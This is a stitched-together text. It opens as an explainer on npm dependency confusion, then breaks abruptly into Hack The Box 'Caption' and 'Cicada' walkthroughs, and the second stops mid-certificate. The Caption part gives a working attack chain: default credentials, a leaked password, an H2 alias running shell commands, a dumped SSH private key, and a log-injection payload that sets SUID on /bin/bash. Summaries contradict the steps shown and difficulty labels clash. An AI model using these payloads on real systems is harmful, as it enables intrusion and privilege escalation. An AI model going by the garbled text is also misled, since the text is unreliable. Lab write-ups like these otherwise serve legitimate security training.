We use dependencies in our code like we use electricity in our homes—quietly, constantly, and without thinking twice.

Whether you’re building a backend service in Go, wiring up a React frontend, or automating something with Python, you’re almost certainly relying on packages written by other people. They help us move faster, solve problems without reinventing the wheel, and get real work done. In fact, most modern projects depend on dozens or even hundreds of these libraries.

But here’s the part we often overlook:
Every time you install a dependency, you’re placing a huge amount of trust in it—and in wherever it came from.

What Are Dependencies?

In simple terms, a dependency is just a piece of code your application needs to run. Instead of reinventing the wheel, developers rely on third-party libraries to handle common tasks:

• Need HTTP requests? axios or requests has you.

• Parsing YAML? pyyaml or go-yaml to the rescue.

• Generating UUIDs? Pick from dozens of tiny helpers across ecosystems.

These are dependencies—and they're usually managed through something called a package manager, which automates fetching, versioning, and updating them.

Package Registries and How They Work

Package registries are public hubs where developers can publish and share code libraries—often called packages. These registries rely heavily on community contributions, meaning anyone can create an account and upload their own package.

Once a package is published under a specific name, that name becomes locked to the account that created it. No one else can upload a different package using that exact name, which helps prevent accidental conflicts or overwrites.

Below is a table summarizing the package registries for various programming languages:

While most developers rely on official registries like npm, PyPI, or crates.io, it’s important to understand that packages don’t always have to come from these sources. Developers can also use private registries, internal mirrors, or even local file-based packages, especially in enterprise environments where code control is critical.

Security and the Hidden Gap

To protect users, many package registries implement automated security measures. For example, new packages may be scanned in sandboxes, checked for known malware patterns, or flagged if they mimic popular packages. These steps are meant to reduce the chances of malicious code slipping through.

But here’s the catch**:**
There’s a major security loophole in how package names are managed.

If a maintainer decides to remove a package or unpublish all of its versions, the name essentially becomes up for grabs again. That means anyone including a malicious actor can register that same package name and publish a new version under their control.

And just like that, what used to be a safe, trusted dependency can become a trojan horse, silently reintroduced into projects that never updated their package sources.

Declaring Dependencies

Python – requirements.txt

In Python, the most common way to declare dependencies is through a requirements.txt file. This file lists each required package, along with version constraints that define what can (or cannot) be installed:

txtCopyEditflask==1.1.2     # Install exactly version 1.1.2
requests>=2.24.0            # Install version 2.24.0 or newer
numpy<=1.19.5               # Install version 1.19.5 or older
pandas                      # Install the latest available version

This file is then consumed by pip using:

pip install -r requirements.txt

For development environments, teams often maintain a separate requirements-dev.txt file that includes tools for testing, linting, or documentation:

pytest==6.2.4
flake8
sphinx

This separation of runtime and development dependencies helps ensure clean production deployments.

🟦 Node.js – package.json

Node.js manages its dependencies through a structured JSON file named package.json. It defines both runtime and development dependencies, as well as versioning and metadata:

{
  "name": "test-app",
  "version": "1.0.0",
  "dependencies": {
    "express": "^4.17.1",      // Matches any 4.x.x version
    "mongoose": "5.12.3"       // Locks to a specific version
  },
  "devDependencies": {
    "jest": "^29.0.0"          // Development-only packages
  }
}

Dependencies are installed using:

npm install

Node.js also supports alternative sources:

• Remote Git repositories:

    "my-lib": "git+https://github.com/username/my-lib.git"
  

• Local packages (e.g., for monorepos):

    "my-local-lib": "file:../libs/my-local-lib"
  

In larger projects, NPM can also use workspaces to manage multiple packages locally. This is specified like so:

"workspaces": {
  "packages": ["packages/*"]
}

This configuration tells NPM to look for packages in local directories first - before attempting to fetch them from the public registry.

These configuration files serve as the entry point for dependency resolution—which means they are also the first place an attacker may try to exploit weaknesses in the supply chain.

Understanding the Node.js Dependency Installation Process

In Node.js, dependency management is centered around the package.json file, which acts as the manifest for a project. This file outlines the packages required for the application to run and defines supporting metadata such as scripts, entry points, and versioning. Understanding how NPM interprets and installs dependencies is essential to recognizing how misconfigurations can introduce serious vulnerabilities.

Below is an example package.json file with various types of dependencies:

{
  "name": "super-project",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "dependencies": {
    "express": "^4.17.1",
    "mongoose": "^5.11.15",
    "local-package": "file:../local-package",
    "http-package": "http://example.com/path/to/package.tgz",
    "github-package": "github:user/package",
    "github-package-with-branch": "github:user/package#master",
    "github-package-with-tag": "github:user/package#v1.0.0",
    "github-package-with-commit": "github:user/package#239ea65..."
  },
  "devDependencies": {
    "nodemon": "^2.0.7"
  }
}

Parsing the Manifest

The installation process begins with NPM parsing the package.json file to identify all declared dependencies. These are categorized into dependencies, which are essential for the application in production, and devDependencies, which are needed only during development, such as testing tools or linters.

Referencing the Lock File

Once the dependency list is assembled, NPM checks for the presence of a package-lock.json file. This file is crucial for ensuring deterministic builds by locking the exact version of each dependency and all of its transitive dependencies. It also helps verify the integrity of installed packages by including cryptographic hashes of previously retrieved versions, thereby offering a basic level of tamper protection.

Local Cache Optimization

Before reaching out to external sources, NPM checks the local cache for any previously downloaded packages. If a required version is found locally, NPM uses it directly. This not only speeds up installation but also reduces exposure to potential supply chain threats by avoiding unnecessary remote fetches.

Source Resolution Hierarchy

Dependencies in package.json can be sourced in multiple ways, and NPM follows a specific order to resolve them:

1. Local Path

    "local-package": "file:../local-package"
   

   Pulled directly from the specified local file system path.

2. Remote URL (Tarball)

    "http-package": "http://example.com/path/to/package.tgz"
   

   Retrieved via HTTP as a .tgz archive.

3. GitHub Repository

    "github-package": "github:user/package"
    "github-package-with-branch": "github:user/package#master"
    "github-package-with-tag": "github:user/package#v1.0.0"
    "github-package-with-commit": "github:user/package#<commit-sha>"
   

   Pulled from a specific GitHub repository, optionally pinned to a branch, tag, or commit hash.

4. Public NPM Registry

    "express": "^4.17.1"
   

   Fetched from the default public registry at https://registry.npmjs.org.

If NPM fails to locate a dependency locally, via a remote URL, or through Git, it automatically falls back to searching the public NPM registry. While this behavior ensures installation continuity, it introduces a significant security risk when misconfigured.

In practice, fallback issues often arise when a .npmrc file—used to configure registry sources—is missing or incorrectly set up. Without this file, private packages may be inadvertently sourced from the public registry if a matching name exists. Additionally, minor typos or changes in internal package names can silently result in the wrong package being installed.

This default behavior creates an opportunity for attackers: by publishing a malicious package with a name that matches or closely resembles an internal dependency, they can exploit systems that mistakenly reach out to the public registry. This is the essence of a dependency confusion attack subtle, yet potentially severe.

Example of a Dependency Confusion Attack in Node.js

The Setup

The project has the following package.json configuration:

{
  "name": "confusion-demo",
  "version": "1.0.0",
  "description": "A demo project for testing dependency resolution",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "dependencies": {
    "@acme/private-lib": "^1.0.0",
    "lodash": "^4.17.21"
  },
  "author": "Tech Team",
  "license": "MIT"
}

This configuration includes:

• lodash, a widely-used public package available on npm.

• @acme/private-lib, a presumed internal package scoped under the @acme namespace.

In a secure environment, this project also includes a .npmrc file that instructs NPM to resolve the @acme scope from a private registry:

@acme:registry=https://registry.acme.corp/npm/

As long as this configuration is in place, running npm install correctly resolves @acme/private-lib from the internal registry, while public packages like lodash are retrieved from the default npm registry.

Misconfiguration Scenario

Now imagine a scenario where the .npmrc file is unintentionally omitted—perhaps during containerization, CI pipeline setup, or an environment rebuild.

Without this registry mapping, NPM has no instructions to resolve the @acme scope from the private source. Instead, it reverts to the default behavior and attempts to fetch all dependencies from the public registry at https://registry.npmjs.org.

The result:

• lodash installs without issue.

• @acme/private-lib fails to resolve, and NPM returns a 404 Not Found error:

npm ERR! 404 Not Found - GET https://registry.npmjs.org/@acme%2fprivate-lib - Not found
npm ERR! 404 '@acme/private-lib@^1.0.0' is not in this registry.

At this point, installation fails—but only because the package name is currently unclaimed on the public registry.

The Attack

An attacker monitoring common namespace patterns or private scope usage may detect that @acme/private-lib is unregistered publicly. Recognizing this gap, the attacker can publish a malicious package under the same name.

If the attacker pushes a crafted package to npm with the following command:

npm publish --access public

the malicious version of @acme/private-lib becomes publicly available.

Now, any environment that attempts to install dependencies without a correctly configured .npmrc will no longer encounter an error. Instead, NPM silently retrieves and installs the attacker's package from the public registry:

added 2 packages, and audited 2 packages in 2s
found 0 vulnerabilities

From the user’s perspective, the install appears successful. But under the hood, the malicious version is now in use—completely replacing the expected internal library.

Outcome and Risk

This form of attack exploits the ambiguity in package resolution—specifically the fallback behavior to public registries when private mappings are missing or misconfigured.

Once installed, a malicious package could:

• Run arbitrary scripts during post-installation.

• Steal secrets or tokens.

• Introduce backdoors or additional malicious dependencies.

• Exfiltrate environment variables or sensitive project data.

Because these packages inherit the trusted namespace structure (@acme), many teams may not notice the compromise until it's too late—especially in automated environments or CI/CD pipelines.

Caption is a Hard-difficulty Linux box, showcasing the chaining of niche vulnerabilities arising from different technologies such as HAProxy and Varnish. It begins with default credentials granting access to GitBucket, which exposes credentials for a web portal login through commits. The application caches a frequently visited page by an admin user, whose session can be hijacked by exploiting Web Cache Deception (WCD) via response poisoning exploited through a Cross-Site Scripting (XSS) payload. HAProxy controls can be bypassed by establishing an HTTP/2 cleartext tunnel, also known as an H2C Smuggling Attack, enabling the exploitation of a locally running service vulnerable to path traversal ([CVE-2023-37474](https://security.snyk.io/vuln/SNYK-PYTHON-COPYPARTY-5777718)). A foothold is gained by reading the SSH ECDSA private key. Root privileges are obtained by exploiting a command injection vulnerability in the Apache Thrift service running as root.

Machine Info:

IP: 10.10.11.33
Difficulty: Hard
OS: Linux
Category:

Enumeration

Nmap Scan

Nmap scan report for caption.htb (10.10.11.33)
Host is up (0.76s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

The initial enumeration of caption.htb reveals three open ports:

• 22/tcp - SSH

• 80/tcp - HTTP (Caption Portal Login)

• 8080/tcp - GitBucket (Web App)

Navigating to http://caption.htb:8080 displays the GitBucket login interface.

GitBucket Exploit

• Credentials: root:root (Defailt creds for gitbucket)

Once logged in, you find a commit disclosing a password for the user "margo":

• User: margo

• Password: vFr&cS2#0!

You also discover an H2 database viewer at:

• http://caption.htb:8080/admin/dbviewer

Command Execution via H2 Database

H2 allows defining custom Java methods via SQL aliases. A remote command execution alias is created

CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : "";
}
$$;

Executing commands:

CALL SHELLEXEC('id');

Returns:

uid=1000(margo) gid=1000(margo) groups=1000(margo)

We can also dump the SSH private key of the user "margo":

CALL SHELLEXEC('cat /home/margo/.ssh/id_ecdsa');

SSH Access

Extract the private key, save it, and adjust permissions:

cat <<EOF > id_ecdsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQSANe5kEY+DN1xSvPtTZVur+DWGq94h1gSFMvzv5iec
YwuC7ymT7QWZM+42IIVZQ5GqkIE5uLHyqtVKytQu5aCLAAAAoACUCKoAlAiqAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIA17mQRj4M3XFK8+1NlW6v4NYar3iHWBIUy/O/m
J5xjC4LvKZPtBZkz7jYghVlDkaqQgTm4sfKq1UrK1C7loIsAAAAhAOZNLY0cYdeM6shGDro9tude
7oBNK+hIIh0AmL8JK+ShAAAAAAECAwQFBgc=
-----END OPENSSH PRIVATE KEY-----
EOF

Save and chmod the key locally:

chmod 600 id_ecdsa
ssh -i id_ecdsa margo@caption.htb

Internal Enumeration & Port Forwarding

To enumerate internal services, set up port forwarding to access internal services:

ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb

This reveals a Thrift-based service running locally.

Privilege Escalation: Log Parser Exploitation

To escalate privileges, we can exploit log parsing to run a payload.

Step 1: Create Malicious Log File

echo '127.0.0.1 "user-agent":"'; /bin/bash /tmp/payload.sh #' > /tmp/malicious.log

Step 2: Create Payload Script

echo 'chmod +s /bin/bash' > /tmp/payload.sh

pip download thrift

scp -i /home/kratos/HTB/Caption/id_ecdsa thrift-*.tar.gz margo@caption.htb:/tmp
thrift-0.20.0.tar.gz

Thrift Client Setup

Create a Thrift file log_service.thrift:

thrift
namespace go log_service

service LogService {
string ReadLogFile(1: string filePath)
}

Generate the Thrift client:

thrift -r --gen py log_service.thrift

Create a Python client client.py:

from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

def main():
    transport = TSocket.TSocket('localhost', 9090)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
    client = LogService.Client(protocol)
    transport.open()

    try:
        log_file_path = "/tmp/malicious.log"
        response = client.ReadLogFile(log_file_path)
        print("Server response:", response)
    except Thrift.TException as tx:
        print(f"Thrift exception: {tx}")
    transport.close()

if __name__ == '__main__':
    main()

Install Thrift and run the client:

pip3 install thrift
python3 [client.py](<http://client.py/>)

Output:

Server response: Log file processed

Privilege Escalation

After the malicious payload runs, verify the SUID bit on /bin/bash:

ls -l /bin/bash
/bin/bash -p
whoami

You are now root.

Conclusion

The Caption box illustrates how default credentials, exposed development tools, and improper log parsing can lead to full system compromise. It starts with accessing GitBucket using factory credentials, leading to remote code execution via the H2 console. With a foothold as margo, the attacker leverages an insecure Thrift service to escalate privileges by crafting a malicious log file that executes commands with elevated permissions.

Cicada is an easy-difficult Windows machine that focuses on beginner Active Directory enumeration and exploitation. In this machine, players will enumerate the domain, identify users, navigate shares, uncover plaintext passwords stored in files, execute a password spray, and use the SeBackupPrivilege to achieve full system compromise.

Machine Info:

IP: 10.129.200.210
Difficulty: Medium
OS: Windows
Category: Active Directory / Windows Privilege Escalation

Enumeration

Open Ports

Open 10.129.200.210:53
Open 10.129.200.210:88
Open 10.129.200.210:135
Open 10.129.200.210:139
Open 10.129.200.210:389
Open 10.129.200.210:445
Open 10.129.200.210:464
Open 10.129.200.210:636
Open 10.129.200.210:3268
Open 10.129.200.210:3269
Open 10.129.200.210:5985

Nmap Scan

PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2024-09-29 14:09:11Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
636/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
| KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOatZznJ1Zy5E8fVFsDWtq531KAmTyX8
| BxPdIVefG1jKHLYTvSsQLVDuv02+p29iH9vnqYvIzSiFWilKCFBxtfOpyvCaEQua
| NaJqv3quymk/pw0xMfSLMuN5emPJ5yHtC7cantY51mSDrvXBxMVIf23JUKgbhqSc
| Srdh8fhL8XKgZXVjHmQZVn4ONg2vJP2tu7P1KkXXj7Mdry9GFEIpLdDa749PLy7x
| o1yw8CloMMtcFKwVaJHy7tMgwU5PVbFBeUhhKhQ8jBR3OBaMBtqIzIAJ092LNysy
| 4W6q8iWFc+Tb43gFP4nfb1Xvp5mJ2pStqCeZlneiL7Be0SqdDhljB4ECAwEAAaOC
| Au4wggLqMC8GCSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8A
| bABsAGUAcjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/
| BAQDAgWgMHgGCSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3
| DQMEAgIAgDALBglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjAL
| BglghkgBZQMEAQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwHQYDVR0OBBYEFAY5YMN7
| Sb0WV8GpzydFLPC+751AMB8GA1UdIwQYMBaAFIgPuAt1+B1uRE3nh16Q6gSBkTzp
| MIHLBgNVHR8EgcMwgcAwgb2ggbqggbeGgbRsZGFwOi8vL0NOPUNJQ0FEQS1EQy1D
| QSxDTj1DSUNBREEtREMsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2Vz
| LENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9Y2ljYWRhLERDPWh0Yj9j
| ZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlz
| dHJpYnV0aW9uUG9pbnQwgb0GCCsGAQUFBwEBBIGwMIGtMIGqBggrBgEFBQcwAoaB
| nWxkYXA6Ly8vQ049Q0lDQURBLURDLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXkl
| MjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPWNpY2Fk
| YSxEQz1odGI/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmlj
| YXRpb25BdXRob3JpdHkwQAYDVR0RBDkwN6AfBgkrBgEEAYI3GQGgEgQQ0dpG4APi
| HkGYUf0NXWYT14IUQ0lDQURBLURDLmNpY2FkYS5odGIwDQYJKoZIhvcNAQELBQAD
| ggEBAIrY4wzebzUMnbrfpkvGA715ds8pNq06CN4/24q0YmowD+XSR/OI0En8Z9LE
| eytwBsFZJk5qv9yY+WL4Ubb4chKSsNjuc5SzaHxXAVczpNlH/a4WAKfVMU2D6nOb
| xxqE1cVIcOyN4b3WUhRNltauw81EUTa4xT0WElw8FevodHlBXiUPUT9zrBhnvNkz
| obX8oU3zyMO89QwxsusZ0TLiT/EREW6N44J+ROTUzdJwcFNRl+oLsiK5z/ltLRmT
| P/gFJvqMFfK4x4/ftmQV5M3hb0rzUcS4NJCGtclEoxlJHRTDTG6yZleuHvKSN4JF
| ji6zxYOoOznp6JlmbakLb1ZRLA8=
|_-----END CERTIFICATE-----
3269/tcp open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
